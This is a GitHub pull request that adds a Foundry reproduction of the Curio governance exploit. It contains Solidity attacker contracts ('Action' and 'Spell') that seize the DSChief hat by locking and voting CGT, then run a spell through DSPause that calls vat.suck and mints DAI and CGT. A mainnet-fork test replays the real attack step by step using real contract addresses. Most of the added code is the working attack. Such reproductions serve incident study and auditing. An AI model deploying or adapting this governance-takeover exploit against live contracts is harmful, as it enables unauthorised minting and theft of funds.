generated from foundry-rs/hardhat-foundry-template
-
Notifications
You must be signed in to change notification settings - Fork 235
Curio attack #72
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Open
nine-december
wants to merge
20
commits into
master
Choose a base branch
from
curio_attack
base: master
Could not load branches
Branch not found: {{ refName }}
Loading
Could not load tags
Nothing to show
Loading
Are you sure you want to change the base?
Some commits from the old base branch may be removed from the timeline,
and old review comments may become outdated.
Open
Curio attack #72
Changes from all commits
Commits
Show all changes
20 commits
Select commit
Hold shift + click to select a range
e4bdbfa
disabled: tornado cash destroyAccount(), now using Foundry's
nine-december a271f6d
update: solmate and forge-std
nine-december 316ddc2
add: Curio attack project's structure
nine-december b33f3b3
fix: pragma compatibility range
nine-december c01dbdb
add: Attacker contract instance, attack up to step 3
nine-december 04c7402
add: main attack structure
nine-december 7ec25ae
add: next steps
nine-december b2bb6d2
pending: solve access control
nine-december 5a42bf2
solve: how does pause proxy gets minting privileges
nine-december 5f642c5
import: makerdao contracts with updated pragma
nine-december c84ab54
rearrange dependencies
nine-december 8e683a2
move: files to access control category
nine-december 86afa72
add: curio readme
nine-december e90ac15
readme: add spell implementation
nine-december fc9baa5
readme: improve step by step
nine-december eb57282
better readme and logs
nine-december 079247b
add: curio to global readme
nine-december 1c4f81c
add: curio to readme
nine-december 872a018
fix: curio title
nine-december 599d532
fix: conflicts
nine-december File filter
Filter by extension
Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Submodule forge-std
updated
27 files
+0 −1 | .gitattributes | |
+6 −48 | .github/workflows/ci.yml | |
+1 −1 | package.json | |
+0 −635 | scripts/vm.py | |
+3 −4 | src/Script.sol | |
+6 −23 | src/StdChains.sol | |
+15 −156 | src/StdCheats.sol | |
+1 −16 | src/StdInvariant.sol | |
+14 −18 | src/StdJson.sol | |
+3 −54 | src/StdStorage.sol | |
+2 −2 | src/StdStyle.sol | |
+34 −62 | src/StdUtils.sol | |
+3 −4 | src/Test.sol | |
+374 −986 | src/Vm.sol | |
+0 −216 | src/mocks/MockERC20.sol | |
+0 −221 | src/mocks/MockERC721.sol | |
+77 −93 | test/StdAssertions.t.sol | |
+37 −93 | test/StdChains.t.sol | |
+64 −167 | test/StdCheats.t.sol | |
+11 −13 | test/StdError.t.sol | |
+12 −27 | test/StdMath.t.sol | |
+34 −66 | test/StdStorage.t.sol | |
+4 −4 | test/StdStyle.t.sol | |
+36 −66 | test/StdUtils.t.sol | |
+0 −15 | test/Vm.t.sol | |
+0 −441 | test/mocks/MockERC20.t.sol | |
+0 −721 | test/mocks/MockERC721.t.sol |
Submodule solmate
updated
from c89230 to 2001af
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,78 @@ | ||
pragma solidity ^0.8.24; | ||
|
||
import "./Interfaces.sol"; | ||
import "forge-std/console.sol"; | ||
import "./ds-contracts/Chief/chief.sol"; | ||
import "./ds-contracts/pause.sol"; | ||
|
||
// Contract used by the attacker to get outstanding CGT balance | ||
// The contract is verified at https://etherscan.io/address/0x1e791527aea32cddbd7ceb7f04612db536816545#code | ||
contract Action { | ||
IDSChief public chief = IDSChief(0x579A3244f38112b8AAbefcE0227555C9b6e7aaF0); | ||
DSPause public pause = DSPause(0x1e692eF9cF786Ed4534d5Ca11EdBa7709602c69f); | ||
Spell spell; | ||
|
||
address public pans; // the attacker named the deployer after pans | ||
|
||
constructor() { | ||
pans = msg.sender; | ||
} | ||
|
||
modifier onlyPans() { | ||
require(pans == msg.sender, "not pans"); | ||
_; | ||
} | ||
|
||
function cook(address _cgt, uint256 amount, uint256 wethMin, uint256 daiMin) external onlyPans { | ||
IERC20 cgt = IERC20(_cgt); | ||
cgt.transferFrom(msg.sender, address(this), amount); | ||
|
||
cgt.approve(address(chief), amount); | ||
|
||
chief.lock(amount); | ||
console.log("CGT Balance after locking in chief: %s", cgt.balanceOf(address(this))); | ||
|
||
address[] memory _yays = new address[](1); | ||
_yays[0] = address(this); | ||
chief.vote(_yays); | ||
chief.lift(address(this)); | ||
|
||
spell = new Spell(); | ||
address spellAddr = address(spell); | ||
bytes32 tag; | ||
assembly { | ||
tag := extcodehash(spellAddr) | ||
} | ||
|
||
bytes memory funcSig = abi.encodeWithSignature("act(address,address)", address(this), address(cgt)); | ||
uint256 delay = block.timestamp + 0; | ||
|
||
pause.plot(spellAddr, tag, funcSig, delay); | ||
pause.exec(spellAddr, tag, funcSig, delay); | ||
} | ||
} | ||
|
||
contract Spell { | ||
function act(address user, IMERC20 cgt) public { | ||
IVat vat = IVat(0x8B2B0c101adB9C3654B226A3273e256a74688E57); | ||
IJoin daiJoin = IJoin(0xE35Fc6305984a6811BD832B0d7A2E6694e37dfaF); | ||
|
||
vat.suck(address(this), address(this), 10 ** 9 * 10 ** 18 * 10 ** 27); | ||
|
||
vat.hope(address(daiJoin)); | ||
daiJoin.exit(user, 10 ** 9 * 1 ether); | ||
|
||
cgt.mint(user, 10 ** 12 * 1 ether); | ||
} | ||
|
||
// Methods in attacker's spell. Used later on to perform the swaps. | ||
// Not strictly required for the attack. | ||
function clean(IMERC20 cgt) external { | ||
// Anti-mev | ||
cgt.stop(); | ||
} | ||
|
||
function cleanToo(IMERC20 cgt) external { | ||
cgt.start(); | ||
} | ||
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,137 @@ | ||
// SPDX-License-Identifier: MIT | ||
pragma solidity ^0.8.24; | ||
|
||
import "forge-std/Test.sol"; | ||
import {TestHarness} from "../../TestHarness.sol"; | ||
import {TokenBalanceTracker} from "../../modules/TokenBalanceTracker.sol"; | ||
import "./AttackerContract.sol"; | ||
import "./Interfaces.sol"; | ||
import "./ds-contracts/vat.sol"; | ||
import "./ds-contracts/join.sol"; | ||
import "./ds-contracts/Chief/chief.sol"; | ||
|
||
contract Exploit_Curio is TestHarness, TokenBalanceTracker { | ||
// Instances of tokens involved | ||
IDSToken cgtToken = IDSToken(0xF56b164efd3CFc02BA739b719B6526A6FA1cA32a); | ||
IMERC20 curioCSCToken = IMERC20(0xfDcdfA378818AC358739621ddFa8582E6ac1aDcB); | ||
|
||
// Instances of relevant contracts | ||
Action attackerContract; | ||
DSChief chief; | ||
DSPause pause; | ||
Vat vat; | ||
DaiJoin daiJoin; | ||
IMERC20 IOU; | ||
|
||
// Peripheral contracts | ||
IForeignOmnibridge foreignOmniBridge = IForeignOmnibridge(0x69c707d975e8d883920003CC357E556a4732CD03); | ||
ICurioBridge curioBridge = ICurioBridge(0x9b8A09b3f538666479a66888441E15DDE8d13412); | ||
|
||
address ATTACKER = makeAddr("ATTACKER"); | ||
|
||
function setUp() external { | ||
// Attack tx: 0x4ff4028b03c3df468197358b99f5160e5709e7fce3884cc8ce818856d058e106 | ||
|
||
// Create a fork right before the attack started | ||
cheat.createSelectFork("mainnet", 19_498_910); | ||
|
||
// Setup attackers account | ||
deal(address(cgtToken), ATTACKER, 100 ether); | ||
|
||
// Initialize labels and token tracker | ||
_labelAccounts(); | ||
_tokenTrackerSetup(); | ||
} | ||
|
||
function test_attack() public { | ||
console.log("\n==== STEP 0: Instance protocol contracts ===="); | ||
// These contracts were deployed almost 3 years before the attack by Curio | ||
_instanceCurioContracts(); | ||
|
||
console.log("\n==== STEP 1: Send tokens to Omnibridge ===="); | ||
// Approve tx: 0x0b4a076b4fe1d873b75e7fadc3d99e0240a61fa23f5327782416588f09c32295 | ||
// Relay tx: 0xf653d1d9c18bf0be78c5b7a2c58c9286bf02fd2b4c8d2106180929526b7fc151 | ||
cheat.startPrank(ATTACKER); | ||
cgtToken.approve(address(foreignOmniBridge), 10 ether); | ||
foreignOmniBridge.relayTokens(address(cgtToken), 10 ether); | ||
console.log("Relay successful"); | ||
cheat.stopPrank(); | ||
|
||
console.log("\n==== STEP 2: Lock tokens to Curio Bridge ===="); | ||
// Approve tx: 0x08e5c70d3407acec5cb85ff064e5fe029eca191d16966d1aaac6613702a0c6ce | ||
// Lock tx: 0xf653d1d9c18bf0be78c5b7a2c58c9286bf02fd2b4c8d2106180929526b7fc151 | ||
cheat.startPrank(ATTACKER); | ||
cgtToken.approve(address(curioBridge), 10 ether); | ||
curioBridge.lock(bytes32(0), address(cgtToken), 10 ether); | ||
// we pass an arb to address on Curio Parachain | ||
console.log("Lock successful"); | ||
cheat.stopPrank(); | ||
|
||
console.log("\n==== STEP 3: Deploy Attacker's contract (called Action) ===="); | ||
// Deploy tx: 0x99cc992de6e42a0817713489aeeb21f2d5e5fdca1f833826be09a9f35e5654e3 | ||
cheat.prank(ATTACKER); | ||
attackerContract = new Action(); | ||
require(address(attackerContract).code.length != 0, "Attacker's contract deployment failed"); | ||
console.log("Attacker's contract deployement successful at: %s", address(attackerContract)); | ||
|
||
console.log("\n==== STEP 4: Call cook() on Action, start attack ===="); | ||
console.log("== Before attack =="); | ||
address _hat = chief.hat(); | ||
console.log("Chief hat: %s", _hat); | ||
console.log("Chief approvals: %s", chief.approvals(_hat)); | ||
console.log("Attacker CGT Balance: %s", cgtToken.balanceOf(address(attackerContract))); | ||
console.log("\n"); | ||
|
||
cheat.startPrank(ATTACKER); | ||
cgtToken.approve(address(attackerContract), 2 ether); // 0x6a4cb2aa03ebf35f25e9f34a1727f7e0ea34c5e59cebc85b9e9c0729c6b0ad59 | ||
attackerContract.cook(address(cgtToken), 2 ether, 10 ether, 10 ether); | ||
cheat.stopPrank(); | ||
|
||
console.log("\n== After attack =="); | ||
_hat = chief.hat(); | ||
console.log("Chief hat: %s", _hat); | ||
console.log("Chief approvals: %s", chief.approvals(_hat)); | ||
console.log("Attacker CGT Balance: %s", cgtToken.balanceOf(address(attackerContract))); | ||
|
||
// the last two params were set to some arbitrary-like values but are unused in the call. | ||
// Just for profit checks: | ||
/* | ||
require(weth.balanceOf(address(this)) >= wethMin, "not enought weth"); | ||
require(dai.balanceOf(address(this)) >= daiMin, "not enought dai"); | ||
*/ | ||
} | ||
|
||
function _instanceCurioContracts() internal { | ||
// CSC Curio Token deployer: 0x63eA2D3fCb0759Ab9aD46eDc5269D7DebD0BDbe6 | ||
|
||
// IOU deployment: 0x8b8ef358b5407298bc7e77e77575993a3f559b4f343e26f1c5cf721e6922cf46 | ||
IOU = IMERC20(0xD29CAB1a24fC9fa22a035A7c3a0bF54a7cE7598D); | ||
|
||
// Chief deployment: 0x83661c0bb2d1288c523aba5aaa9f78d237eb6d068f5374ce221c38b0c088c598 | ||
chief = DSChief(0x579A3244f38112b8AAbefcE0227555C9b6e7aaF0); | ||
|
||
// Pause deployment: 0x5629b47d48a6af2956ce0ab966c8aa7a7fb99d6d1ebfa17d359f129b00b60aa2 | ||
pause = DSPause(0x1e692eF9cF786Ed4534d5Ca11EdBa7709602c69f); | ||
|
||
// Vat deployment: 0x5fcb57eb4326220c3c0ae53cd78defed530a8cd4dddde28a45c4c7cd9a06b5f2 | ||
vat = Vat(0x8B2B0c101adB9C3654B226A3273e256a74688E57); | ||
|
||
// DaiJoin deployment: 0xb467409f36f03fd0328e49858bfbd662b15a362fd932ed8c3e20892bba39229f | ||
daiJoin = DaiJoin(0xE35Fc6305984a6811BD832B0d7A2E6694e37dfaF); | ||
} | ||
|
||
function _labelAccounts() internal { | ||
cheat.label(ATTACKER, "Attacker"); | ||
|
||
cheat.label(address(foreignOmniBridge), "ForeignOmniBridge"); | ||
cheat.label(address(cgtToken), "CGT Token"); | ||
cheat.label(address(curioCSCToken), "CSC Token"); | ||
} | ||
|
||
function _tokenTrackerSetup() internal { | ||
// Add relevant tokens to tracker | ||
|
||
// Initialize user's state | ||
updateBalanceTracker(address(this)); | ||
} | ||
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,44 @@ | ||
import {IERC20} from "../../interfaces/IERC20.sol"; | ||
|
||
interface IDSToken is IERC20 { | ||
function pull(address src, uint256 wad) external; // makes a transferFrom | ||
function mint(address to, uint256 amount) external; | ||
} | ||
|
||
interface IMERC20 is IERC20 { | ||
function mint(address guy, uint256 wad) external; | ||
function burn(address guy, uint256 wad) external; | ||
function start() external; | ||
function stop() external; | ||
} | ||
|
||
interface IVat { | ||
function suck(address u, address v, uint256 rad) external; | ||
function hope(address usr) external; | ||
} | ||
|
||
interface IJoin { | ||
function exit(address usr, uint256 wad) external; | ||
} | ||
|
||
interface IForeignOmnibridge { | ||
function relayTokens(address token, uint256 _value) external; | ||
} | ||
|
||
interface ICurioBridge { | ||
function lock(bytes32 to, address token, uint256 amount) external; | ||
} | ||
|
||
// Interfaces used by the attacker on their contract | ||
interface IDSChief { | ||
function lock(uint256 wad) external; | ||
function vote(address[] memory yays) external returns (bytes32); | ||
function lift(address whom) external; | ||
} | ||
|
||
interface IDSPause { | ||
function plot(address usr, bytes32 tag, bytes memory fax, uint256 eta) external; | ||
function exec(address usr, bytes32 tag, bytes memory fax, uint256 eta) | ||
external | ||
returns (bytes memory out); | ||
} |
Oops, something went wrong.
Add this suggestion to a batch that can be applied as a single commit.
This suggestion is invalid because no changes were made to the code.
Suggestions cannot be applied while the pull request is closed.
Suggestions cannot be applied while viewing a subset of changes.
Only one suggestion per line can be applied in a batch.
Add this suggestion to a batch that can be applied as a single commit.
Applying suggestions on deleted lines is not supported.
You must change the existing code in this line in order to create a valid suggestion.
Outdated suggestions cannot be applied.
This suggestion has been applied or marked resolved.
Suggestions cannot be applied from pending reviews.
Suggestions cannot be applied on multi-line comments.
Suggestions cannot be applied while the pull request is queued to merge.
Suggestion cannot be applied right now. Please check back later.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
The attack by Curio?